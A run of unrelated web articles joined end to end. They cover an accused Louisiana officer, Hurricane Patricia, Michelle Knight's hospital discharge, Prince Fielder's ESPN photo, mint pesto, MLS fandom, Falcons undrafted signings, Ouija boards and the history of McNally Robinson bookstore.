As KATC points out, the motive behind the confrontation is unclear. The Reed family alleges that Richardson said he was confronting their 14-year-old daughter — alleging she had bullied his own daughter.
However, as KATC notes, the Reeds suspect an ulterior motive because Mia Reed — the mother — was going to testify in a custody hearing involving Richardson’s children the following day.
Either way, an on-duty cop, using his police firearm and patrol vehicle to settle family problems — while in the process assaulting a child with a deadly weapon — is no way to respond to either of the above scenarios.
Mia Reed is also Richardson’s aunt.
After seeing her daughter assaulted with a deadly weapon, Mia Reed went after the officer with a broom and began hitting him. Luckily, she was not killed as her husband stepped in between the pair.
The Reeds eventually called police and other officers showed up. However, Officer Nicholas Richardson was not arrested. His two non-cop henchmen he sent to assault the residents, were, however, arrested.
For now, Richardson continues to patrol the Reed’s neighborhood and their daughter is in constant fear of being assaulted by police.
“This is just blatantly telling me that the officer is above the law. Period,” said Darrell Reed.
The Reeds are not sitting by idly as the both department for which Richardson works for refuse to take action. They have since sought out an attorney to go after the officer themselves.
KATC notes that they reached out to Deputy Nicholas Richardson, The Evangeline Sheriff’s Office, The Basile Police Department and Evangeline Parish District Attorney Trent Brignac — none of them responded. The Basile Police Department responded and said they handed the case over to the District Attorney’s office to see if charges should be filed. Those charges have yet to be filed.
What this incident illustrates is the sheer callous nature of police to act above the law. Make no mistake, had a civilian acted in the same manner and pulled a gun on a little girl, they would have been arrested and/or killed almost instantly.
If they were not on scene when the officers showed up, they would have most assuredly been raided at their home or a police bulletin would’ve been issued for people fitting their description.
The idea that this officer can pull a gun on an unarmed innocent child and not even be put on some sort of temporary suspension should shock the conscience.
It is this blatant unaccountable nature of police which has led to the problems we face in America today.PUERTO VALLARTA, MEXICO—Hurricane Patricia roared ashore in southwestern Mexico as a Category 5 storm Friday evening, bringing lashing rains, surging seas and cyclonic winds hours after it peaked as one of the strongest storms ever recorded. Although it had weakened some before hitting the coast, forecasters said it had potential to do “catastrophic” damage.
This satellite image taken at 11 a.m.. EDT on Friday shows Hurricane Patricia moving over Mexico's Pacific Coast. ( National Oceanic and Atmospheric Administration / AP ) An employee boards up the windows of a store as Hurricane Patricia approaches the Pacific beach resort of Puerto Vallarta, Mexico. ( Henry Romero / Reuters ) Residents and tourists take refuge in a small shelter as they await the arrival of Hurricane Patricia. Residents and tourists were hunkering down or trying to make last-minute escapes ahead of what forecasters called a "potentially catastrophic landfall" later in the day. ( Rebecca Blackwell / AP ) Tourists were evacuated as Hurricane Patricia approached the Pacific beach resort of Puerto Vallarta, Mexico, Friday. Mexico scrambled to prepare as Hurricane Patricia, one of the strongest storms ever recorded, bore down on its Pacific Coast, prompting the evacuation of thousands of tourists and residents and a mad rush for emergency supplies. ( Henry Romero / Reuters ) Tourists, who were evacuated from their hotel arrive at the University of Puerto Vallarta used as a shelter as Hurricane Patricia approached. ( Henry Romero / Reuters )
There were early reports of some flooding and landslides, but no word of fatalities or major damage as the storm moved over inland mountains after nightfall. Television news reports from the coast showed some toppled trees and lampposts and inundated streets. Milenio TV carried footage of cars and buses being swept by floodwaters in the state of Jalisco. Patricia’s centre made landfall in a relatively low-populated stretch of the Jalisco state coast near Cuixmala. The nearest significant city, Manzanillo, was about 85 kilometres southeast and outside the zone of the storm’s hurricane-force winds. Patricia’s projected path headed over a mountainous region dotted with hamlets that are at risk for dangerous mudslides and flash floods, and where communications can be sketchy. It wasn’t clear when emergency crews would be able to fully assess the storm’s impact in those isolated areas.
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The storm was expected to rapidly weaken over the mountains and dissipate Saturday, but it was still capable of soaking the region with heavy rain. Patricia “continues to advance and continues to be extremely dangerous,” national civil protection co-ordinator Luis Felipe Puente warned via Twitter. “Stay informed and follow recommendations.” The U.S. National Hurricane Center in Miami said the storm made landfall as a monstrous Category 5 hurricane with maximum sustained winds of 270 kilometres per hour. Late Friday, Patricia was rapidly losing steam but was still an “extremely dangerous, major hurricane” with winds at 215 km/h, the centre reported, or just above the threshold for a Category 4. Its centre was about 75 kilometres southeast of the resort city of Puerto Vallarta, where rain began to fall harder than it had all day but there was still no sign of strong winds. Streets were deserted except for police patrolling slowly with their emergency lights on. Brandie Galle, a tourist from Grants Pass, Ore., said she sheltered with other guests in a ballroom with boarded-up windows at the Hard Rock Hotel in Puerto Vallarta. Workers let them out to eat in a hotel restaurant after the city was not feeling any major effects from the storm two hours after landfall. There was no visible damage to the building.
Galle said some guests desperate to leave had earlier paid $400 (U.S.) for taxis to drive them the 200 kilometres to the inland city of Guadalajara. Patricia formed suddenly Tuesday as a tropical storm and quickly strengthened to a hurricane. Within 30 hours it had zoomed to a record-beating Category 5 storm, catching many off guard with its rapid growth.
Tourists were evacuated as Hurricane Patricia approached the Pacific beach resort of Puerto Vallarta, Mexico, Friday. Mexico scrambled to prepare as Hurricane Patricia, one of the strongest storms ever recorded, bore down on its Pacific Coast, prompting the evacuation of thousands of tourists and residents and a mad rush for emergency supplies. ( Henry Romero )
Tourists, who were evacuated from their hotel arrive at the University of Puerto Vallarta used as a shelter as Hurricane Patricia approached. ( Henry Romero )
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By Friday it was the most powerful hurricane on record in the Western Hemisphere, with a central pressure of 880 millibars and maximum sustained winds of 325 km/h, according to the National Hurricane Center. Patricia’s power while still out at sea was comparable to that of Typhoon Haiyan, which left more than 7,300 dead or missing in the Philippines two years ago, according to the UN’s World Meteorological Organization. More than 4 million people were displaced and over 1 million houses were destroyed or damaged in 44 provinces in the central Visayas region, a large cluster of islands. Mexican officials declared a state of emergency in dozens of municipalities in Colima, Nayarit and Jalisco states, and schools were closed. Many residents bought supplies ahead of Patricia’s arrival. Authorities opened hundreds of shelters and announced plans to shut off electricity as a safety precaution. According to the 2010 census, there were more than 7.3 million inhabitants in Jalisco state and more than 255,000 in Puerto Vallarta municipality. There were more than 650,000 in Colima state, and more than 161,000 in Manzanillo. One of the worst Pacific hurricanes to ever hit Mexico slammed into the same region, in Colima state, in October 1959, killing at least 1,500 people, according to Mexico’s National Center for Disaster Prevention. Wendi Mozingo of Austin, Texas, and six family members sat on folding chairs in a shelter in Puerto Vallarta after being ordered out of their beachfront vacation rental home by managers of the property. They brought a few changes of clothes and left everything else behind. The family was supposed to depart Puerto Vallarta on Tuesday, but now, Mozingo said, “We’re leaving as soon as we can.” U.S. State Department spokesman Mark Toner said tens of thousands of American citizens were believed to be vacationing or living in areas likely to be affected by the storm. Three airports in the storm’s path were shut: Puerto Vallarta; Manzanillo in Colima state; and Tepic in Nayarit. Jose Manuel Gonzalez Ochoa was one of the residents who decided to get out of Puerto Vallarta, heading to a town about 30 minutes from the coast. His family lives in their ground-floor chicken restaurant, Pollos Vallarta, and neighbours told them water was 1.5 metres in the street the last time a hurricane came through. “The whole government is telling us to leave,” he said. “You have to obey.” Asked what preparations he would make for his business, Gonzalez Ochoa said he planned to just close up and see what was left after the storm passed. Patricia also threatens Texas with forecasters saying that even after the storm breaks, up its tropical moisture will likely feed heavy rains already soaking the state. The U.S. National Weather Service said a flash flood watch would be in effect through Sunday morning for Dallas-Fort Worth, Austin and San Antonio. A coastal flood warning was in effect through Friday night in Corpus Christi. Galveston was under a coastal flood advisory until Saturday night.
Residents and tourists take refuge in a small shelter as they await the arrival of Hurricane Patricia. Residents and tourists were hunkering down or trying to make last-minute escapes ahead of what forecasters called a "potentially catastrophic landfall" later in the day. ( Rebecca Blackwell )
An employee boards up the windows of a store in Puerto Vallarta as Hurricane Patricia approaches. ( Henry Romero )
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A spokeswoman for MetroHealth Hospital confirmed that Knight left the facility, but would not say where she went.
"Michelle Knight has been discharged from MetroHealth. She is asking for her privacy at this time," the hospital said in a statement.
Earlier in the day, the hospital issued a statement on Knight's behalf saying she was in "good spirits" and "extremely grateful for the outpouring of flowers and gifts."
"She asks that everyone please continue to respect her privacy at this time," the statement said. The hospital also said at the time that Knight had instructed the hospital that she did not want any visitors.
RELATED: Keeping Children Safe from Stranger Abduction
That appears to have extended to her family, who Knight hasn't seen for 10 years.
Jay Milano is a lawyer hired by Knight's mother, Barbara Knight. "She went to the hospital and tried to deliver flowers to her daughter and was told that her daughter's not keeping visitors," the lawyer said.
He said they found out that Michelle Knight had left the hospital from a news reporter.
Milano says the mom was shut out of seeing her daughter and that the hospital "stonewalled" her while she tried to arrange a visit with her daughter.
"I talked to the lawyer for the hospital who told me, 'I don't know if she's here. I'll get back to you, Jay,'" Milano said. They then heard from the press that Michelle Knight had been discharged.
Milano said Michelle Knight has "lived through hell," and then, referring to her mother, added, "It was hell for her, too."
He said Mrs. Knight "came up here to be with her daughter, to help her daughter, to hug her daughter, to help her heal, and she's been stonewalled right down the line... It's abhorrent."
"To be working with the hospital... to see her daughter and the next thing she hears is that her daughter is gone, we don't know where she is, it was a terrible blow for her," Milano said.
A spokesperson for the hospital said only that it stands by its earlier statements.
Knight's grandmother, Deborah Knight, went to the home of Gina DeJesus today with balloons. DeJesus was freed along with Knight and Amanda Berry. Deborah Knight told reporters that she did not know where her granddaughter would go after being released from the hospital, but hoped she would go to DeJesus' house.
"Right now it's too overwhelming knowing she's released and possibly I might get to see my granddaughter again," Deborah Knight said. "We haven't spoken to her or seen her. This will be the first time since she disappeared."
Michelle Knight, however, did not appear at the DeJesus home.
Knight, 32, was freed Monday from more than a decade of captivity, but while Berry and DeJesus went home to warm welcomes from their families and their neighbors, Knight remained in MetroHealth Hospital until today.
Knight appears to have had her own special hell before, during and after her captivity.
She was the first of Castro's victims to be kidnapped, according to a police complaint when she was snatched on Aug. 23, 2002. She was 20 years old at the time and in the midst of a custody fight over a child she now hasn't seen now in more than a decade.
And while there were major publicity campaigns to find Berry and DeJesus, few outside of Knight's family knew she was missing until she was discovered inside Castro's house. A missing persons report was filed by the family, but apparently she was dismissed as a runaway by authorities and the case wasn't given much attention. After 15 months, she was removed from the FBI's database of missing people because police could not reach her mother to confirm she was still unaccounted for.
Her captor appears to have singled Knight out for particular abuse, according to a police report obtained by ABC News affiliate WEWS.
When Berry became pregnant, Castro told Knight to help Berry during labor, with her only help a kiddie swimming pool intended to keep the mess to a minimum.
"Michelle delivered the baby and Michelle stated that Ariel told her that if the baby died, he'd kill her," the police report states.
In what must have been terrifying on several levels for Knight, the newborn baby -- named Jocelyn -- stopped breathing.
"Michelle stated that Joceyln (victim 4) stopped breathing at one point, but she (Knight) breathed into her mouth and 'breathed for her,'" the report states.
Knight may have saved both their lives at that point.
The woman told police that Castro got her pregnant "at least" five times. Each time Castro forced an end to the pregnancy with his own cruel version of an abortion, the police report said.
"She stated that he'd starve her for at least two weeks, then he'd repeatedly punch her in the stomach until she miscarried," the police report says.
The intensity of Knight's relief at finally being rescued was recorded by a Cleveland police officer identified only by his last name Johnson, who wrote the report of the women's release.
Police arrived at the house after Berry escaped, but Knight and DeJesus remained inside. The officers first checked the basement, but found no one.
They then walked up the stairs to the second floor.
"As we neared the top of the stairs Officer Espada hollered out 'Cleveland police,' at which time Michelle Knight ran and threw herself into PO Espada's arms," Johnson wrote in his report.
When DeJesus emerged from another room, "Officer Espada then put Michelle down, who then jumped into my arms," Johnson wrote.
Since the women's rescue, Berry and DeJesus have gone home to warm welcomes by their families and neighbors.
ABC News' Josh Haskell and Emily Stanitz contributed to this reportBecause the Western world is so absurdly, collectively body-dysmorphic anyway, the controversy, the memes, the Internet chatter, after the publication of ESPN The Magazine’s 2014 Body Issue wasn’t about the supremely chiseled, muscled athletes on display but about Prince Fielder, the Texas Rangers first baseman, posing with a bat as proudly as Demi Moore did with her baby bump on the cover of Vanity Fair in August 1991.
Fielder’s naked body doesn’t come with a six-pack. It doesn’t go in and out in the 2014-encoded “right” places. It is 275 pounds of blooming athleticism, but not the kind that is fetishized by Men ’ s Health. As Fielder said to ESPN: “A lot of people probably think I’m not athletic or don’t even try to work out or whatever, but I do. Just because you’re big doesn’t mean you can’t be an athlete. And just because you work out doesn’t mean you’re going to have a 12-pack. I work out to make sure I can do my job to the best of my ability. Other than that, I’m not going up there trying to be a fitness model.”
Maybe these words of cool, clear sense can somehow be disseminated to all those boys and men chugging odd powders and livid-colored liquids, and eating the world’s reserves of chicken, to supplement their workouts. Fielder is not only right, he also skewers the wider cult of the male body beautiful, which has become the same lunatic mix of aspiration meets oppression as the supermodel body, the waif body, the Kate Moss body, the Victoria’s Secret underwear body—all of those modern template bodies—became for women.
If equality between the sexes still proves elusive, at least we can be said to be gaining parity in becoming ever more anxious about the “right” shape of our bodies. Swimsuit season is now as much of a nightmare minefield for men as it is for women. So thank you, Mr. Fielder, for the bracing reminder that great bodies, handsome bodies, striking bodies, don’t come just in gym-bunny size. Models like the intelligent and articulate Robyn Lawley--defined as “plus-size” when “regular size” would be more accurate--serve as the same vital reminder for women. Both she and Fielder have impressive bodies, by any definition. Mark Simpson, the author who perceptively defined and described “sporno,” the intersection of where sport meets porn in 2006, wrote to me via email of the ESPN picture of Fielder: “That image puts me in mind of this one of Hercules. Not entirely sure |
this point, are pretty much gone. My basil seemed to be going pretty strong by the time the zucchini plant took off and is still hanging in there. The one herb that seems to have fully escaped the wrath of squash is mint, which I planted towards the front of the bed and furthest away from my zucchini located at the rear, and which, as luck would have it, is the herb that I’m most often at a loss as to what to do with. I think I planted it just for that reason, you know, so I’d be forced to try something new, lest I be judged by my poor, lonely mint plant.
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I’m happy to say that I figured something out. Actually, I figured a few things out, amazingly, so I’m hoping some of you reading have some mint looking to find a way onto your dinner plate as well. This was the first of my mint dishes. Knowing that you can make all kinds of crazy pestos with fresh herbs, I thought I’d try my hand at some mint pesto. It was delightful.
Mint and couscous are two elements you’ll find in lots of Moroccan cuisine, and while I’m not sure you’d ever find mint pesto in a Moroccan kitchen, I’m willing to bet the tofu sends any degree of authenticity right out the window. So let’s call this one Moroccan inspired. Let’s call it delicious too. I did.With the latest international break coming to a close and the frenzy of the club season about to resume, we asked some of our writers to chronicle what they love, both past and present, about the leagues they follow. It's #WhyWeWatch. Here's Graham Parker on the ins and outs of his passion for Major League Soccer.
I watch because it's there
I'll admit it -- I sulked when I first moved to the U.S. some 11 years ago. I sulked because I didn't have a game to go to each week. I did seek out a group of Sunderland fans in New York City, and I showed up faithfully enough at Nevada Smith's bar to watch matches -- an accidental head-butt received during a playoff penalty defeat to Crystal Palace ended that.
But it wasn't the same as the match-day experience and even when some of my new friends suggested going out to Giants Stadium to watch the New York/New Jersey MetroStars, I wasn't interested at first, because I was wrapped up in what my expat identity could offer me in struggling to adapt to life in a new city and country.
Though Major League Soccer was only born in 1996 -- just look at the L.A. Galaxy -- it's worth your time and energy.
Partly that meant sneering reflexively at what I saw as the inferior quality of MLS, because I of course was a lover of the aesthetic beauty that was Sunderland -- then fresh off a 19-point season in the Premiership, and soon to be the proud possessors, unbeknown to me, of a 16-point record, to exceed their own benchmark for historic ineptitude.
The story of how I changed my mind is a long and complicated one that actually involved a moment of recognition while watching Game 6 of the 2003 NLCS, in particular the Cubs bungling a routine double play in the wake of the Steve Bartman incident. It's told here but the short version: I had a Damascene conversion where I came clean to myself about what I loved about the game. And it wasn't that it was beautiful. It was to do with the fact that I went to support my team whether it was beautiful or not, and of a feeling that my presence at games mattered as much as the entertainment value on the field -- so I got over myself and started going to games.
And there's simply nothing like a live game.
The fans are unlike any others
Digital culture changed the game of football and continues to change it in ways that are hard to anticipate.
I interviewed Richard Scudamore last year, when the chief executive of the Premier League was in New York to announce the Premier League TV deal with NBC. Scudamore's an old hand at recognizing where digital trends are taking us; his league have got the jump on most leagues around the world in monetizing digital assets. Yet even he seemed taken aback when recalling the thousands of tweets that had followed a simple Premier League announcement of the referee for a Liverpool vs. Manchester United game.
Twitter and its rapid forest fires of controversy, things that anyone around the world can dive in on, is just one social phenomenon that has simultaneously grown and shrunk the experience of match days in particular, along with who can be part of the instantaneous conversation. But when I was first flirting with MLS, attending a game here and there and finding myself learning by osmosis, the reference point was message boards -- and that's where I found my people.
Fans of MLS -- like those in Portland -- have created something unique in the soccer landscape.
In the end, what sealed the deal for me was the fans themselves. As I explored the game and found them on message boards or in person, the fans were passionate, put upon, hilarious, creative, clued in and clueless. They were... fans.
Many, if not most, of them had European or South American sides they followed too -- and given the age of the domestic league, many of these allegiances predated that of their connection to local teams -- but at some point they'd decided to "earth" their enthusiasm through their local side and accordingly found their enjoyment of the game to be enriched rather than diluted.
They are some of the most engaged voices around one of the most important questions of the moment we are living through: What do those of us who live in the U.S. and follow soccer here want the culture of the domestic game to be? Because there's still time to shape it -- but as I'll discuss in a moment, not infinite time.
And compared to my experience toward the end of my time in the UK, I've generally found MLS fans to feel that they have much more ability to define their own experience and voice, distinct from that of the official league voice or even that of their team. The flip side of global football spectacle can be an implicit alienation within the everyday experience of fans -- there was little of that here.
Later, when I started covering MLS for the Guardian and others, I'd make a point of reaching out to the fan reps, bloggers and admins I'd first come across on message boards that charted not just the fortunes of their team, but their own attempts at finding a voice and sharing a growing history. Which brings us to...
I believe in watching your local team
... if your team is Barcelona, Manchester United or the side that split from St Pauli over an obscure point of political philosophy, I congratulate you on living in a golden age for digital consumption, as you have unprecedented access to maintain your connection to them. I, too, marvel at my ability to watch my beloved team get repeatedly overrun five time zones away, thanks to a ubiquity of coverage that surpasses what's available in the same country the game is played in./p>
But I'd humbly suggest that doesn't preclude watching your local team. I happen to have an MLS side near me -- in fact, soon there will be two -- but I also have the NASL's New York Cosmos.
When I'm really feeling sentimental for the grass roots of the game, as I usually am in the early rounds of the U.S. Open Cup, I can go and see how Brooklyn Italians are getting on or one of the start-up teams of ringers assembled to showcase local players, like the Icon FC side I briefly followed in the Cup last year.
If you're in Tucson, you can go and watch FC Tucson, alongside the delightfully named "Cactus Pricks" supporters group. In Pittsburgh, you can watch the Riverhounds at one of the more modestly spectacular stadiums in the country.
MLS is expanding into lots of new territories -- the merits of that are another story -- but these days, there's always some team within striking distance, even if it's not in the top league, and where that team exists, so does a community. Go to the bars, cheer on your giants of choice and enjoy the quality of play, but now and again you might want to consider a screen break, yelling outside, and possibly losing your voice and the feeling in your feet as you do so -- it does wonders for the soul.
On any given week, anyone can beat anyone
So far, so ideological, but if we can turn to the specific product on the field for a moment, I like the extremes of forced parity in MLS that mean that every game is a potential trap game, and that a team that holds its nerve can turn a poor season around the next year.
For example, when D.C. United retained coach Ben Olsen after last year's campaign yielded only three wins, he added experience to a not-killed-but-stronger core of youth and promptly took his side on a stunning 43-point turnaround to win the Eastern Conference this season.
D.C. United may have lost to New York, but their remarkable renaissance in 2014 is proof of the unpredictability in MLS.
The administration of that parity is frustrating and entertaining in equal measure. Part of the joy of following the league is watching the contortions as they try to legislate a local fiefdom within the broader economy of world football, and shaking your head in wonder at the results.
My favorite absurd rule among many is the "discovery claim" where teams can call dibs on a number of players, wherever they are in the world and however unlikely they are to ever show up in the United States. The plot of my as-yet-unfinished thriller involves Tom Cruise going on a secret mission to the StubHub Center to free the discovery claim on Lionel Messi that was lost in the hasty demise of Chivas USA.
It's "Game of Thrones," only with admin and set pieces. One week you'll be asking the person next to you what a designated player is and the next week you'll be fretting about the number of international slots Chicago has and how that's going to impact your team's academy kids in some obscure manner.
Oh, and if you can manage an MLS side when playing football manager, you can manage anywhere.
There is always a chance to genuinely shape, or witness, history
There's an argument that MLS fans have more of a chance to watch their team create history rather than inherit it. There's no doubting the spine-tingling quality of being at Anfield for a night game and hearing "You'll never walk alone" ringing out, and knowing the history behind the song and the Liverpool fans co-opting of it. But nearly 20 years in, there are MLS fans who've been around for two decades and who have an ever-richer folk history of their own to draw upon: dramatic wins, defeats, cult heroes, rivalries, chants with local resonances and histories of their own.
Whether it's Portland fans singing "You Are My Sunshine" in the 80th minute of every game for rather beautiful reasons, New York fans doing their version of The Ramones' "I Wanna Be Sedated" in the 66th minute or numerous others around the league, there's a growing body of supporters' culture that reflects the multicultural influences of the country that hosts it.
A player worth a thousand memes: Plugged-in MLS fans have made the most of their stars like Thierry Henry.
And as I've mentioned above, it's still easy to show up at a game or find the supporters' section bars, quickly join in and feel like your presence is really helping to activate something. And, more and more, that you're part of a continuum that is getting richer.
There's a serious point to this as well. European teams are making concerted efforts to create inroads in the American market on the back of the increased TV coverage of games. We're used to the summer tours by now; the legacy youth camps, sponsorship partnerships and subtler methods of branding have been following hard behind. It begs the question: What do those of us who live in the U.S. and follow soccer here want the culture of the domestic game to be?
I'd argue that there's plenty of room for both the imported and the homegrown, but that it can't be assumed the latter will thrive without active participation. That doesn't necessarily mean embracing MLS uncritically, because god knows there's plenty to criticize at times, but it might mean considering what being, say, an American Outlaw could mean between international games.
MLS might not have all the answers for what U.S. soccer can be, but it's a good place to start asking some tough questions.
Graham Parker writes for ESPN FC, FourFourTwo and Howler. He covers MLS and the U.S. national teams. Follow him on Twitter @grahamparkerfc.With the 2012 NFL Draft complete, the Atlanta Falcons now turn their attention to undrafted free agents. The team wasted little time snapping up a large crop of players. Here is a look at all of the reported -- not official -- signings, along with links to each source.
Tyler Horn - Miami - Offensive Lineman - Started all 12 games at center for the Hurricanes in 2011 and was named as Second-Team All-ACC.
James Rodgers - Oregon State- Wide Receiver - Brother of Falcons running back Jacquizz Rodgers. Dual offensive threat that finished with 222 career receptions. Standout as a kick returner.
Cody Pearcy - Huntingdon (D-III) - Wide Receiver - Set receiving records at the Division III level with a 4.3 forty time and a 44-inch vertical leap.
Dominique Davis - East Carolina - Quarterback - Spent a season as the backup to Matt Ryan at Boston College before finishing his career up at East Carolina. Holds the NCAA record for consecutive completions in a single game.
Adam Nissley - Central Florida - Tight End - Caught 21 passes for 235 yards while earning All-Conference USA Honorable Mention in 2011
Phillipkeith Manley - Toledo - Offensive Line - Massive 6-foot-5, 309-pound lineman out of Hamilton, Ohio.
Jerrell Harris
Pat Schiller - Northern Illinois - Linebacker- Led team with 115 tackles in 2011 and was picked as Second-Team All Mid-American Conference.
Josh Harris
#Auburn's Josh Harris, a deep snapper, has signed as an undrafted free agent with the Atlanta Falcons. — Joel A. Erickson (@wareagleextra) April 28, 2012
Chad Faulcon - Montclair State University (DIII) - Safety - Hard hitting and explosive defensive back who was an award winner at the Division III level.
Max Gruder - Pittsburgh - Linebacker - 6-foot-2, 230-pound versatile linebacker who played both inside and outside during his career at Pittsburgh.
Dawson Zimmerman - Clemson - Punter - Averaged 40.8 yards per kick during his career with the Tigers which was seventh best in school history. Lawrence, Georgia native.
Mike Calvin - California - Wide Receiver - 6-foot-3 wideout who appeared in 37 games for the Bears in his career finishing with 42 catches for 528 yards and a touchdown.
Micanor Regis - Miami - Defensive Tackle- Appeared in 10 games for the Hurricanes in 2011 and finished with 41 tackles and two sacks.
Louis Nzegwu - Wisconsin - Defensive Line - Started all 14 games for the Badgers in 2011 and led the team with 4.5 sacks.
Marty Markett - South Carolina- Defensive Back - Recorded 26 tackles and one pass defended in 2011. Was a solid special teamer and a former sprinter on the track team.
Casey Therriault
Therriault to ATL. RT @NFLsouth_TroyH: @RossDellenger Casey Therriault QB, Jackson State University will being joining the Atlanta Falcons — Ross Dellenger (@RossDellenger) April 29, 2012
LaMark Brown - Minnesota State - Wide Receiver - Transferred from Kansas State to Minnesota State, where he switched from running back to wide receiver.
Robbie Frey - UConn - Running Back -
Congrats to SMWW Agent Advisor, Angelo Meilie, and client, Robbie Frey, RB #Kutztown, who just signed with the #Falcons #NFL — SMWW (@SMWW) April 28, 2012
Bryce Harris - Offensive Lineman - Fresno State. Played in college for current Falcons offensive line coach Pat Hill.Many people who consider using the spirit board wonder, "Do Ouija boards work?" Like much in the paranormal, there's no pat answer to this; there's only speculation. The topic of whether and how Ouija boards work remains hotly debated.
The Debate: Do Ouija Boards Work?
Throughout its storied history, there has been debate about how the Ouija board works. There are two major schools of thought regarding whether the movement of the Oujia board planchette is really paranormal in nature. On one side, scientists believe the motion comes from a psychological artifact called ideomotor action; this is nothing more than subconscious movements of the hands by users. On the other side are spiritualists who believe that the Oujia board serves as a doorway to the spiritual realm.
How Does the Ouija Board Work?
There are two types of evidence relating to the Ouija board. The first is anecdotal evidence, which comes from the stories people share and from their experiences. This type of evidence is not quantifiable and doesn't adhere to scientific method. The other type of evidence is scientific; that is, it was gathered under controlled circumstances in order to test a hypothesis.
Anecdotal Evidence the Ouija Board Communicates With Spirits
Across the internet, you can find fascinating accounts of real experiences people claim to have had while using the Ouija board. And while these stories are interesting, what they amount to is anecdotal evidence; that is, evidence gathered outside of any scientific method and only through personal accounts of things people report have happened.
Ideomotor Action
The prevailing theory of how the Ouija board works has nothing to do with spirits. Instead, it's buried deep in the psychology of players, who agree to suspend belief while they work with the board. With the agreement of players the board "works" to communicate with spirits, individual and group psychology kicks in and the players then, without realizing they are doing so, experience almost imperceptible muscle movements that guide the lightweight planchette, according to Psychology Today. This makes a certain sort of sense given how the planchette is designed to glide lightly and easily along the board's smooth surface.
Scientific Evidence From JB and Louisa Rhine
J.B. Rhine, famous for his research into psychic functioning, and his wife, Louisa, studied many of the occult tools of the day including the Ouija board. Louisa, a respected researcher within psychical research circles, wrote an article in a 1970 newsletter for the American Society for Psychical Research on the subject of Ouija boards. In this article, Louisa noted the messages from the Ouija board appeared to come from the person's subconscious. She reported the fact the user wasn't even aware of his or her own subconscious personality, and the strange responses from the board created the illusion the person was dealing with another intelligence entirely. Many psychics point out the fact that since psychic functioning seems to originate from a person's subconscious, that may explain why psychics find that the Ouija board helps them amplify those psychic abilities.
Evaluation by Joyce Ma and Debbie Kim
In a fascinating formative evaluation conducted by researchers Joyce Ma and Debbie Kim funded by a grant from the National Science Foundation, the researchers set up an air-hockey style "talking board" display as an exhibit at a science museum. After visitors utilized the exhibit, researchers questioned them for a reaction to the device. They found the following.
Ten (of 19) of the visitors reported the device didn't work.
Two of the visitors reported results it provided legitimate answers to questions.
The remaining visitors were not using the device to answer questions.
Sixteen of the visitors reported that they didn't feel "uncomfortable" using the device.
Two visitors felt very uncomfortable because it reminded them of the Ouija board.
One group of young kids were so disturbed by the exhibit that they refused to be interviewed.
2018 Study From Aarhus University
A 2018 study conducted by a post-doctoral researcher at Aarhus University showed participants playing the Ouija board demonstrated eye movements that predicted where the planchette would go once they started to recognize a pattern in its movement. The study authors concluded this meant people playing the Ouija board subconsciously sought to make order in recognizable patterns, which suggests they may have played a role in the planchette's movement regardless of the fact they were unaware they were doing so.
The Mystery Continues
What existing research shows is that the Ouija board may work on different levels. Psychologically, just the presence of a Ouija board can scare people. Additionally, at least a small percentage of people experience substantial enough results it often scares them from ever using it again. Still other people overlook the cultural stigma and utilize the board for psychic, religious, or entertainment reasons. What research has proven is that the human factor needs to be present for the board to move; it cannot move on its own, and it can't work when the user is blindfolded. However, the ultimate source of the information that comes from the board still remains an intriguing mystery.Thank you for supporting the journalism that our community needs!
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*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
Thank you for supporting the journalism that our community needs!
For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription:
We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article.
Thank you for supporting the journalism that our community needs!
For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription:
We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article.
Holly and Paul, both book-lovers, saw the article and decided to contact Robinson. Once they'd met, all three felt Holly's determination and Robinson's expertise might be the perfect combination for starting a new enterprise. Though Paul was working as a professor of English at the University of Manitoba, he too would become closely involved.
Around that time, Eaton's department store, once the king of retail in Winnipeg, laid off 25 employees. One was Ron Robinson, the store's book buyer, who was featured in a CBC interview and Winnipeg Free Press article about the layoffs.
Before moving to Winnipeg with husband Paul and their daughters, she had been a social worker in Ottawa. She thought of studying horticulture, but she found the University of Manitoba agriculture programs were more geared to farming.
Hey there, time traveller! This article was published 26/12/2015 (1159 days ago), so information in it may no longer be current.
Hey there, time traveller!
This article was published 26/12/2015 (1159 days ago), so information in it may no longer be current.
WAYNE GLOWACKI / WINNIPEG FREE PRESS The craftsmanship of Paul McNally, an avid woodworker, is present in the panelled walls of Prairie Ink Restaurant.
It was 1980, and Holly McNally wanted a career change.
Before moving to Winnipeg with husband Paul and their daughters, she had been a social worker in Ottawa. She thought of studying horticulture, but she found the University of Manitoba agriculture programs were more geared to farming.
Around that time, Eaton's department store, once the king of retail in Winnipeg, laid off 25 employees. One was Ron Robinson, the store's book buyer, who was featured in a CBC interview and Winnipeg Free Press article about the layoffs.
Holly and Paul, both book-lovers, saw the article and decided to contact Robinson. Once they'd met, all three felt Holly's determination and Robinson's expertise might be the perfect combination for starting a new enterprise. Though Paul was working as a professor of English at the University of Manitoba, he too would become closely involved.
Thirty-five years later, the McNallys have quietly left the book business, officially signing off at the end of October. Chris Hall and Lori Baker, who have been gradually taking over during the last three years, are the new co-owners.
"Building McNally Robinson took us on a dazzling ride," Holly said. "Serious gratifying work and endless fun. It is now time to move on. Our memories are robust and our gratitude is immense."
* * *
MIKE APORIUS / WINNIPEG FREE PRESS FILES The midnight book launch of Harry Potter and the Order of the Phoenix in June 2003 drew a large crowd to McNally Robinson.
That dazzling ride began in a River Heights parking lot where the McNallys spent hours watching shoppers come and go. Convinced the location was perfect, they opened their first store, at Kenaston Village Mall, in 1981.
Robinson bought the first shipment of books, established contacts and accounts, and managed the inventory for a year before moving on. The McNallys kept his name to avoid the expense of changing signs and letterhead.
The store soon became the scene of book launches, as the McNallys closely involved themselves with the Canadian writing and publishing scene.
